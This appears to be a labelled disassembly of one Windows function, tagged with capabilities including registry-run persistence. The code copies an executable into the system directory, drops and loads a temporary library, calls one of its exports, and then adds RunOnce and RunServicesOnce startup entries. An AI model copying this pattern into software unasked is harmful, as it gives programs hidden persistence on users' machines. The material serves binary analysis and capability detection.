Function at 0x401e10
Capabilities:
Copy file
Delete file
Get common file path
Persist via run registry key
Set file attributes

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
mov esi, dword [esp + 0x324]
lea eax, [esp + 0xc]
push edi
push eax
push 0x67
push esi
mov dword [esp + 0x1c], 0
call fcn.00401d40
add esp, 0xc
test eax, eax
jne 0x401e5e
push 0x10
push 0x40b354
push 0x40b338
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x314
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x11c]
push 0x104
push ecx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x11c]
push edx
call ebx
dec eax
mov cl, byte [esp + eax + 0x11c]
lea eax, [esp + eax + 0x11c]
cmp cl, 0x22
jne 0x401ebe
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [eax], 0
lea eax, [esp + 0x11c]
push 0x40b19c
push eax
call ebp
lea ecx, [esp + 0x11c]
push 0x40b334
push ecx
jmp 0x401ed1
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x11c]
push 0x40b19c
push edx
call ebp
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0x68
push esi
call fcn.00401d40
add esp, 0xc
lea ecx, [esp + 0x11c]
mov esi, eax
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test esi, esi
je 0x401f55
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401f55
mov eax, esi
cdq
xor eax, edx
sub eax, edx
lea edx, [esp + 0x11c]
push eax
push ecx
push edx
call fcn.004021b0
add esp, 0xc
lea ecx, [esp + 0x18]
push 0x104
push ecx
call edi
lea edx, [esp + 0x18]
push edx
call ebx
dec eax
mov cl, byte [esp + eax + 0x18]
lea eax, [esp + eax + 0x18]
cmp cl, 0x22
jne 0x401fa8
mov byte [eax], 0
lea eax, [esp + 0x18]
push str.InsUD.Exe_
push eax
jmp 0x401fb2
lea eax, [esp + 0x18]
push eax
call fcn.00401260
add esp, 4
lea ecx, [esp + 0x18]
push 0x40b19c
push ecx
call ebp
lea edx, [esp + 0x11c]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401f25
push 0x10
push 0x40b354
push 0x40b2f8
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x314
ret
lea ecx, [esp + 0x18]
push str.InsUD.Exe
push ecx
call ebp
lea edx, [esp + 0x18]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [esp + 0x328]
lea eax, [esp + 0x10]
push eax
push 0x67
push esi
call fcn.00401d40
mov ecx, dword [esp + 0x1c]
push eax
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.004021b0
add esp, 0x18
test eax, eax
jge 0x40201f
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10
push 0x40b354
push 0x40b2c4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x314
ret
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0
push ecx
push 0x6f
push esi
call fcn.00401d40
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4020f5
lea edx, [esp + 0x220]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x220]
push edx
push 0x104
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x220]
push str.KJHDKJDR.QQQ
push eax
call ebp
mov ecx, dword [esp + 0x14]
push esi
lea edx, [esp + 0x224]
push ecx
push edx
call fcn.004021b0
mov esi, eax
add esp, 0xc
test esi, esi
jge 0x40209c
mov eax, dword [esp + 0x14]
push eax
call fcn.0040334d
add esp, 4
test esi, esi
mov dword [esp + 0x14], 0
jl 0x4020f5
push 0
lea ecx, [esp + 0x224]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x4020f5
push 0x40b2a8
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 1
push 0
push 0x102
push 0x89271618
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00401310
dec eax
je 0x402149
lea eax, [esp + 0x18]
push eax
call ebx
inc eax
lea ecx, [esp + 0x18]
push eax
push 1
push str.InsUD
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
push ecx
call fcn.004010d0
add esp, 0x18
test eax, eax
jge 0x40219b
lea edx, [esp + 0x18]
push edx
call ebx
inc eax
push eax
push 1
push str.InsUD
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
lea eax, [esp + 0x28]
push 0x80000001
push eax
jmp 0x402193
lea ecx, [esp + 0x18]
push ecx
call ebx
inc eax
lea edx, [esp + 0x18]
push eax
push 1
push str.InsUD
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
push 0x80000002
push edx
call fcn.004010d0
add esp, 0x18
test eax, eax
jge 0x40219b
lea eax, [esp + 0x18]
push eax
call ebx
inc eax
lea ecx, [esp + 0x18]
push eax
push 1
push str.InsUD
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
push 0x80000001
push ecx
call fcn.004010d0
add esp, 0x18
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x314
ret